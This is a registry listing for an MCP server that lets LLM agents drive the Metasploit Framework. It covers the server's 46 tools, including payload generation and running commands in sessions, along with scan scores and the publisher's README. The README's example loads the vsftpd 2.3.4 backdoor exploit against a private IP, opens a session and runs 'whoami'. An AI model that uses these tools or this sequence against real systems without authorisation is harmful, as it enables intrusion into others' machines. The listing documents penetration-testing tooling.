Pymetasploit3 MCP server
MCP server for Metasploit Framework via pymetasploit3
1 stars19 downloads/wk
Reviews
Write oneNobody has reviewed Pymetasploit3 yet.
If you have run it, two minutes of your experience saves the next person an afternoon.
Pymetasploit3 tools (46, 7 write)
write = sends, deletes, buys or postsRead from the package source without running it. The installed server may list more.
connectConnect to Metasploit RPC server.
console_is_busyCheck if a console is currently executing.
core_reload_modulesReload all modules in the framework.
core_saveSave the current core state.
core_set_globalSet a global variable.
core_unset_globalUnset a global variable.
create_consolewrite actionCreate a new Metasploit console.
db_list_credsList all credentials in the current workspace.
db_list_hostsList all hosts in the current workspace.
db_list_notesList all notes in the current workspace.
db_list_servicesList all services in the current workspace.
db_list_vulnsList all vulnerabilities in the current workspace.
db_list_workspacesList all workspaces.
db_set_workspaceSet the current workspace.
destroy_consolewrite actionDestroy a Metasploit console.
disconnectDisconnect from Metasploit RPC server.
execute_modulewrite actionExecute a loaded module.
generate_payloadGenerate a payload with the specified options.
get_client_infoGet current connection status and information.
get_db_statusGet database connection status.
get_framework_versionGet Metasploit framework version information.
get_job_infoGet information about a specific job.
get_missing_requiredGet required options that haven't been set yet.
get_module_infoGet detailed information about a module.
get_module_optionsGet all options for a module.
get_module_referencesGet CVE/OSVDB/BID references for a module.
get_module_targetsGet available targets for a module.
get_session_infoGet information about a specific session.
get_target_payloadsGet compatible payloads for a target.
interact_sessionwrite actionWrite a command to a session and read the output.
list_jobsList all running jobs.
list_modulesList available modules of a specific type.
list_pluginsList currently loaded plugins.
list_sessionsList all active sessions.
load_pluginLoad a Metasploit plugin.
read_consoleRead output from a console.
run_module_outputwrite actionExecute a module and return the output.
search_modulesSearch for modules matching a query.
session_run_commandwrite actionRun a command in a session and wait for output.
set_module_optionSet a module option value.
set_module_targetSet the target for a module.
stop_jobStop a running job.
stop_sessionStop/close a session.
unload_pluginUnload a Metasploit plugin.
use_moduleLoad a specific module for use.
write_consolewrite actionWrite a command to a console.
Public scan report
scanner v0.1.9 · 2026-09-27 · same rubric, same numbers if you re-run it
- Code scan4 source files scanned25/25
- –Live reliabilityno gateway calls yet and no remote to proben/a
- –Tool poisoningtools not inspected (local package is not executed); not countedn/a
- Auth qualitylocal package, no credentials required12/15
- Maintenancelast push 96 days ago8/15
- Maintainer identityregistry namespace matches repository owner; GitHub account older than a year8/10
How Pymetasploit3 compares
Against every graded MCP server, from our own scans and uptime checks. Updated after each scan run.
- Safety score
- 82/100
- higher than 63% of 48,273 servers
- Tools
- 46
- the typical server has 7
- Tools that change things
- 15%
- typical: 0%. Fewer write tools means less an agent can break
- GitHub stars
- 1
- more than 65% of 28,534 servers
- Downloads a week
- 19
- more than 6% of 11,915 servers with a package
What its tools let an agent do: 34 read · 3 create · 4 change · 1 delete · 4 run or deploy
Install Pymetasploit3 in Claude Code, Cursor or VS Code
claude mcp add mcp-pymetasploit3 -- uvx mcp-pymetasploit3
What the publisher says
From the Pymetasploit3 repository's README, as published. We do not edit it. Read it on GitHub
mcp-pymetasploit3
MCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.
Install
pip install mcp-pymetasploit3MCP Server Configuration
{
"mcpServers": {
"mcp-pymetasploit3": {
"command": "mcp-pymetasploit3",
"env": {}
}
}
}Usage
Starting Metasploit RPC Server
Before using the MCP server, you need to start the Metasploit RPC server:
Using msfrpcd:
msfrpcd -P yourpassword -p 55553 -nUsing msfconsole:
msfconsole -q
msf6 > load msgrpc Pass=yourpasswordMCP Tools
Once connected, the following tools are available:
Connection Management
- connect - Connect to Metasploit RPC server
- disconnect - Disconnect from RPC server
- getclientinfo - Get current connection status
Module Management
- list_modules - List available modules by type
- use_module - Load a specific module
- getmoduleinfo - Get module description and info
- getmoduleoptions - Get all module options
- setmoduleoption - Set a module option
- getmissingrequired - Get required options not set
- execute_module - Execute a module
- getmoduletargets - Get available targets
- setmoduletarget - Set the target
- gettargetpayloads - Get compatible payloads
Payload Generation
- generate_payload - Generate a payload
Session Management
- list_sessions - List all active sessions
- getsessioninfo - Get session information
- interact_session - Write/read from session
- sessionruncommand - Run command with output
- stop_session - Stop a session
Console Management
- create_console - Create a new console
- destroy_console - Destroy a console
- write_console - Write to console
- read_console - Read console output
- consoleisbusy - Check if console is busy
- runmoduleoutput - Execute module and get output
Core/Framework
- getframeworkversion - Get framework version
- core_save - Save core state
- corereloadmodules - Reload modules
- coresetglobal - Set global variable
- coreunsetglobal - Unset global variable
Database
- getdbstatus - Get database status
- dblistworkspaces - List workspaces
- dbsetworkspace - Set current workspace
- dblisthosts - List hosts
- dblistservices - List services
- dblistnotes - List notes
- dblistcreds - List credentials
- dblistvulns - List vulnerabilities
Jobs
- list_jobs - List running jobs
- stop_job - Stop a job
- getjobinfo - Get job information
Plugins
- list_plugins - List loaded plugins
- load_plugin - Load a plugin
- unload_plugin - Unload a plugin
Search
- search_modules - Search for modules
- getmodulereferences - Get module references
Example
# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)
# List exploits
exploits = list_modules("exploit")
# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")
# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")
# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")
# List sessions
sessions = list_sessions()
# Interact with session
output = interact_session("1", "whoami")
# Disconnect
disconnect()Development
git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"
# run tests
pytest
# format
ruff format src/ tests/
# lint
ruff check src/ tests/
# type check
mypy src/Shortened. The full README is on GitHub.
Nothing above is checked by us. What we check is on the safety report.
Pymetasploit3: common questions
- Is Pymetasploit3 MCP server safe?
- Mostly: it is graded B (82/100). Read the Pymetasploit3 safety report
- How do I install Pymetasploit3?
- It runs on your machine. Copy the Claude Code, Cursor, VS Code or Claude Desktop config from the install section.
- Does Pymetasploit3 need an API key?
- Not as far as the registry entry and our scan can tell: no credentials are declared or required.
- Is Pymetasploit3 maintained?
- The last commit was 132 days ago (2026-06-23). The latest release is v0.1.1.
- How does Pymetasploit3 compare with other MCP servers?
- safety score 82/100 (higher than 63% of 48,273 servers); tools 46 (the typical server has 7); tools that change things 15% (typical: 0%. Fewer write tools means less an agent can break). Full comparison.